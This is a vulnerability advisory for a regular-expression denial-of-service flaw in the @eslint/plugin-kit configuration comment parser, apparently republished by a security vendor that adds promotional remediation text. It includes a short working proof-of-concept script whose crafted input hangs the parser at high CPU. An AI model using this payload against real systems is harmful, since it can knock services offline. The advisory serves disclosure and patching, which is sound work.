GHSA-xffm-g5w8-qvg7
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
Blast Radius
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Description
Summary
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
PoC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/[email protected]` and `node attack.js`
// then the program will stuck forever with high CPU usage
Impact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @eslint/plugin-kit | all versions | 0.3.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @eslint/plugin-kit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @eslint/plugin-kit to 0.3.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xffm-g5w8-qvg7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xffm-g5w8-qvg7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xffm-g5w8-qvg7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xffm-g5w8-qvg7 in your dependencies?
O3 detects GHSA-xffm-g5w8-qvg7 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.